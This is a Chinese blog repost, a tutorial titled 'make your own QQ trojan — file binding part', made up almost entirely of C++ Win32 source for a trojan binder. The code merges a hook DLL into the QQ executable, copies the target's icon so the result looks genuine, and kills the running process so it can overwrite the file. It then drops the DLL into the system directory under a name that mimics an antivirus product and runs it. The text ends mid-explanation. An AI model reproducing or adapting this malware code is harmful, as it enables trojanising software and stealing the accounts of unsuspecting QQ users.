ITPub博客

首页 > Linux操作系统 > Linux操作系统 > 自己动手做QQ木马--文件绑定篇(转)

自己动手做QQ木马--文件绑定篇(转)

原创 Linux操作系统 作者:ilg 时间:2019-06-03 08:24:05 0 删除 编辑
自己动手做QQ木马--文件绑定篇(转)

代码如下:   

//根据返回值判断是否继续执行本文件   

bool CBindFile::Initiate()   

{   

int i = 0, k = 0;   

DWORD dwErrorCode = 0;   

DWORD dwFileLen = GetFileSize(hFileMyself, NULL);   

//此外加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件   

if(dwFileLen == lenOrigin)   

{   

//去绑定HOOK.dll   

strToBindFilePath = "hook.dll";   

strFinalFilePath = "Server.exe";   

lstrcpy(m_Ext, "dll");   

if(Bind_File())   

{   

//成功绑定   

MessageBox(NULL, "绑定成功!", NULL, NULL);   

}   

return false;   

}   

else if(dwFileLen == lenOriginAddDll)   

{   

//去绑定目标文件   

//判断本文件是否是server.exe文件   

char szName[7] = {0};   

int i = lstrlen(my_name)-10;   

for(k=0; k<6; k++,i++)   

{   

szName[k] = my_name[i];   

}   

if(0 != lstrcmp(szName, "SERVER"))   

{   

//自动去绑定QQ.exe,可以通过注册表取得QQ的安装路径   

strToBindFilePath = "C:\Program Files\Tencent\QQ.exe";   

lstrcpy(m_Ext, "exe");   

}   

else   

{   

//弹出对话框,等待用户输入   

SelectFileToBind dlg;   

int nRet = -1;   

nRet = dlg.DoModal();   

if(nRet != IDOK)   

{   

MessageBox(NULL, "None input to get bindfilename", NULL, NULL);   

return false;   

}   

dlg.GetFilePath(strToBindFilePath);   

if(strToBindFilePath.IsEmpty())   

{   

MessageBox(NULL, "None input filename", NULL, NULL);   

return false;   

}   

//取得文件扩展名,设置m_Ext   

int pt = strToBindFilePath.GetLength()-3;   

for(i=0; i<3; i++)   

{   

m_Ext[i] = strToBindFilePath.GetAt(pt);   

pt++;   

}   

MessageBox(NULL, m_Ext, "PRINT", NULL);   

}   

strFinalFilePath = "000000.exe";   

//先判断目标文件是否已经被绑定过   

HANDLE hDestFile = NULL;   

DWORD bytesin = 0;   

hDestFile = CreateFile(strToBindFilePath, GENERIC_READ,   

FILE_SHARE_READ, NULL, OPEN_EXISTING,   

FILE_ATTRIBUTE_NORMAL, NULL);   

if(INVALID_HANDLE_VALUE == hDestFile)   

{   

MessageBox(NULL, "判断目标文件时,该文件不打开失败!", NULL, NULL);   

return false;   

}   

SetFilePointer(hDestFile, GetFileSize(hDestFile, NULL)-4,NULL, FILE_BEGIN);   

if(0 == ReadFile(hDestFile, buf, BUF_SIZE, &bytesin, NULL))   

{   

MessageBox(NULL, "判断目标文件时,读取该文件失败!", NULL,NULL);   

return false;   

}   

CloseHandle(hDestFile);   

if(4 != bytesin)   

{   

MessageBox(NULL, "判断目标文件中,读取的字节数不为4!",NULL, NULL);   

return false;   

}   

for(i=0; i<4; i++)   

{   

if((buf[i] != szFlag[i]))   

{   

break;   

}else if(3 == i)   

{   

//已经被绑定过,返回   

MessageBox(NULL, "目标文件已经被绑定过!", NULL, NULL);   

return false;   

}   

}   

//确认没被绑定过则开始绑定   

Bind_File();   

//如果被绑定的文件不是EXE文件则把它修改成EXE文件   

if(0 != lstrcmp(m_Ext, "exe"))   

{   

DeleteFile(strToBindFilePath);   

//修改文件扩展名   

CString strToBindFilePath1;   

strToBindFilePath1 = strToBindFilePath.Left(strToBindFilePath.GetLength()-3);   

strToBindFilePath1 += "exe";   

strToBindFilePath.Empty();   

strToBindFilePath = strToBindFilePath1;   

}   

BOOL bResult;   

bResult = CopyFile(strFinalFilePath, strToBindFilePath, false);   

dwErrorCode = GetLastError();   

if(32 == dwErrorCode)   

{   

//其他进程正在使用该文件,结束该进程   

TCHAR szFileName_Exe[MAX_PATH];   

strToBindFilePath.MakeUpper();   

lstrcpy(szFileName_Exe, (LPCTSTR)strToBindFilePath);   

if(TRUE == CloseProcessFromName(szFileName_Exe))   

{   

bResult = CopyFile(strFinalFilePath, strToBindFilePath, false);   

dwErrorCode = GetLastError();   

CString str;   

str.Format("%d CopyFiles Error code %d", bResult, dwError);   

MessageBox(NULL, str, NULL, NULL);   

}   

}   

DeleteFile(strFinalFilePath);   

return false;   

}   

else   

{   

//判断是否是需要HOOK的目标文件   

if(IsSpecFileName("QQ.EXE"))   

{   

//分解HOOK.dll和目标文件   

TCHAR szSysPath[MAX_PATH];   

::GetSystemDirectory(szSysPath, MAX_PATH);   

strUnbindFilePath_Dll = szSysPath;   

strUnbindFilePath_Dll += "\risingq.dll";   

MessageBox(NULL, strUnbindFilePath_Dll, "PRINT", NULL);   

Unbind_and_Run();   

return true;   

}   

else   

{   

//如果本程序不是目标HOOK的文件则再分解出一个原文件SERVER运行   

MessageBox(NULL, "正在运行的不是目标文件", NULL, NULL);   

CloneMySelf_and_Run();   

return false;   

}   

}   

}   

2. Bind_File()   

//绑定指定的文件生成一个合成文件   

bool CBindFile::Bind_File()   

{   

HANDLE hFileOut = NULL; //最终合成文件   

HANDLE hFileIn = NULL; //待绑定文件   

DWORD dwFileInLen = 0; //待绑定文件长度   

DWORD bytesin = 0; //一次输入的字节数   

DWORD bytesout = 0; //一次输出的字节数   

unsigned int i = 0, k = 0;   

BYTE *bufMyself = NULL;   

modify_data.my_length = GetFileSize(hFileMyself, NULL);   

if (0 == modify_data.my_length)   

{   

MessageBox(NULL, "绑定文件中,自身文件长度为零时出错!","错误", MB_OK);   

return false;   

}   

bufMyself = new BYTE[modify_data.my_length];   

if(NULL == bufMyself)   

{   

MessageBox(NULL, "绑定文件中,分配内存失败!", NULL, NULL);   

return false;   

}   

ZeroMemory(bufMyself, modify_data.my_length);   

SetFilePointer(hFileMyself, 0, NULL, FILE_BEGIN);   

//读取本文件数据   

if (0 == ReadFile(hFileMyself, bufMyself, modify_data.my_length, &bytesin, NULL))   

{   

delete[] bufMyself;   

MessageBox(NULL, "绑定文件中,不能完全读取自身文件内容时出错!","错误", MB_OK);   

return false;   

}   

if(0 == lstrcmp(m_Ext, "dll")) //绑定DLL时定位自身文件大小   

{   

for (i = 0; i < modify_data.my_length - sizeof(modify_data.finder);   

i += sizeof(modify_data.finder))   

{   

for (k = 0; k < sizeof(modify_data.finder); k++)   

{   

if (bufMyself[i+k] != ((BYTE*)&modify_data.finder)[k])   

break;   

}   

if (k == sizeof(modify_data.finder)) //定位并保存自身数据文件大小   

{   

memcpy(bufMyself+ i, &modify_data, sizeof(modify_data));   

break;   

}   

}   

if (i >= modify_data.my_length - sizeof(modify_data.finder))   

{   

delete[] bufMyself;   

MessageBox(NULL, "绑定文件中,不能定位自身文件时出错!","错误", MB_OK);   

return false;   

}   

}   

//如果绑定的是PE文件则拷贝该PE文件的图标到最终的合并文件中。   

if ( 0 == lstrcmp(m_Ext, "exe") )   

{   

Modify_MyIcon(bufMyself);   

}   

//创建最终合并后的文件   

hFileOut = CreateFile(strFinalFilePath, GENERIC_WRITE,   

FILE_SHARE_READ, NULL, OPEN_ALWAYS,   

FILE_ATTRIBUTE_NORMAL, NULL);   

if (INVALID_HANDLE_VALUE == hFileOut)   

{   

delete[] bufMyself;   

MessageBox(NULL, "绑定文件中,创建绑定后生成的合成文件时出错!","错误", MB_OK);   

return false;   

}   

//写本文件数据到输出的文件中   

WriteFile(hFileOut, bufMyself, bytesin, &bytesout, NULL);   

//释放存放自身文件数据的大内存,以后使用buf做缓冲区   

delete[] bufMyself;   

//打开要绑定的文件   

hFileIn = CreateFile(strToBindFilePath, GENERIC_READ,   

FILE_SHARE_READ, NULL, OPEN_EXISTING,   

FILE_ATTRIBUTE_NORMAL, NULL);   

if (INVALID_HANDLE_VALUE == hFileIn)   

{   

MessageBox(NULL, "绑定文件中,打开第一个要绑定文件时出错!","错误", MB_OK);   

return false;   

}   

//取的待绑定文件长度   

dwFileInLen = GetFileSize(hFileIn, NULL);   

if(0 == dwFileInLen)   

{   

CloseHandle(hFileIn);   

CloseHandle(hFileOut);   

MessageBox(NULL, "绑定文件中,读取要绑定文件时出错!","错误", MB_OK);   

return false;   

}   

//写入要绑定文件的长度到合成文件中   

WriteFile(hFileOut, &dwFileInLen, sizeof(dwFileInLen), &bytesout, NULL);   

//写入最终分解后文件的扩展名   

WriteFile(hFileOut, m_Ext, 3, &bytesout, NULL);   

//读取待绑定文件数据写入输出文件中   

do   

{   

if(0 == ReadFile(hFileIn, buf, BUF_SIZE, &bytesin, NULL))   

{   

CloseHandle(hFileIn);   

CloseHandle(hFileOut);   

MessageBox(NULL, "文件绑定中,读取待绑定文件字节大小不符!", NULL, NULL);   

return false;   

}   

WriteFile(hFileOut, buf, bytesin, &bytesout, NULL);   

}while(0 != bytesin);   

if(0 != lstrcmp(m_Ext, "dll"))   

{   

//绑定非DLL时写入该文件被绑定过的标志   

if(0 == WriteFile(hFileOut, szFlag, lstrlen(szFlag), &bytesout, NULL))   

{   

MessageBox(NULL, "绑定文件中,写入被绑定过的标志出错.",NULL, NULL);   

return false;   

}   

}   

CloseHandle(hFileIn);   

CloseHandle(hFileOut);   

return true;   

}   

这里主要解释一下modify_data, 它是一个MODIFY_DATA结构的全局变量,其结构如下:   

struct MODIFY_DATA {   

DWORD finder; //常量(定位自身)   

DWORD my_length; //文件长度(自身)   

} modify_data = {0x78563412, 0};   

因全局变量存放在PE文件的.data数据区,只要打开文件搜索finder,就可以找到该变量在PE文件中的存放位置。   

然后在该位置写入my_length的大小。以后该文件运行时modify_data就被初始化为写入的大小了。当然这种方   

法是有风险的,可能存在多个finder数据

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/14102/viewspace-116030/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2002-06-18

  • 博文量
    1715
  • 访问量
    1292242